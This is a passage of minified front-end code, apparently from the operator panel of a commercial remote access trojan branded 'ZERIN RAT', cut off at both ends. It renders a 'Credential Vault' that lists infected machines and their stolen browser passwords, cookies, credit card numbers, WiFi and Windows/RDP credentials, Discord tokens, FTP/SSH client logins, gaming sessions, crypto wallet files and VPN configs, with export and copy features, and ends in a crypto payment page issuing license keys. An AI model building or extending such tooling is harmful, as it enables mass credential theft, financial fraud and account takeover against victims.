transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(L=>{const ie=y.has(L.agent_id),de=(o==null?void 0:o.agent.agent_id)===L.agent_id,lt=L.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?Qb(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{L.grabs.length===1?N(L,0):(z(L.agent_id),!ie&&!de&&N(L,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50
|
||
${de?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:L.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:L.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:L.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[L.grabs.length," grab",L.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:$V(lt.received_at)})]})]}),L.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[L.grabs.length," historical grabs"]})]})]}),ie&&L.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:L.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===L.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(L,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors
|
||
${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:Zb(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},L.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:Zb(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[Qb(c)," items"]}),a.jsxs("button",{onClick:O,className:`inline-flex items-center gap-1.5 text-xs font-medium\r
|
||
text-zerin-text-dim hover:text-zerin-text\r
|
||
bg-zerin-panel hover:bg-zerin-panel-hover\r
|
||
border border-zerin-panel-border\r
|
||
px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((A=c.chrome_passwords)==null?void 0:A.length)??0)+(((T=c.firefox_passwords)==null?void 0:T.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const L=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return L.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:L.map((ie,de)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},de))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.value,de),children:[L.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((G=c.chrome_cards)==null?void 0:G.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:L.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.number,de),children:L.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((K=c.wifi)==null?void 0:K.length)??0,expanded:d.has("wifi"),onToggle:()=>k("wifi"),children:(_=c.wifi)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:L.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:((M=c.windows_credentials)==null?void 0:M.length)??0,expanded:d.has("wincreds"),onToggle:()=>k("wincreds"),children:(F=c.windows_credentials)!=null&&F.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((L,ie)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${L.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[L.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),L.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.username,de),children:L.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((U=c.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord"),onToggle:()=>k("discord"),children:(V=c.discord_tokens)!=null&&V.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:de=>S(L.token,de),children:[L.token.slice(0,20),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((ae=c.filezilla)==null?void 0:ae.length)??0)+(((ue=c.winscp)==null?void 0:ue.length)??0)+(((be=c.putty)==null?void 0:be.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>k("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((q=c.telegram)==null?void 0:q.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:L=>S(c.telegram.path,L),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((Y=c.winscp)==null?void 0:Y.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),(((ne=c.putty)==null?void 0:ne.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:L.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[L.host,":",L.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.user})]},ie))})})]}),(((B=c.outlook)==null?void 0:B.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:L.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password?"••••••••":""})]},ie))})})]}),!((le=c.telegram)!=null&&le.found)&&!((we=c.filezilla)!=null&&we.length)&&!((Ne=c.winscp)!=null&&Ne.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!(($=c.outlook)!=null&&$.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((ve=c.epic)!=null&&ve.found?1:0)+(((H=c.minecraft)==null?void 0:H.length)??0)+((se=c.roblox)!=null&&se.found?1:0),expanded:d.has("gaming"),onToggle:()=>k("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((W=c.steam)==null?void 0:W.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,L.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.name]},ie))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((L,ie)=>a.jsxs("button",{onClick:()=>yr(L.data,`${L.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",L.launcher]},ie))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:L=>S(c.roblox.cookie,L),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((J=c.steam)!=null&&J.found)&&!((xe=c.epic)!=null&&xe.found)&&!((ke=c.minecraft)!=null&&ke.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>k("wallets"),children:(re=c.wallets)!=null&&re.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((oe=c.vpn)==null?void 0:oe.length)??0,expanded:d.has("vpn"),onToggle:()=>k("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((L,ie)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:L.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",L.files.length," file",L.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:L.files.map((de,lt)=>a.jsxs("button",{onClick:()=>yr(de.data,de.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",de.name]},lt))})]},ie))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>k("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((L,ie)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[L.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:L.error})]},ie))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function FV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const WV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function UV(){const{id:e}=il(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await FV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?WV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono 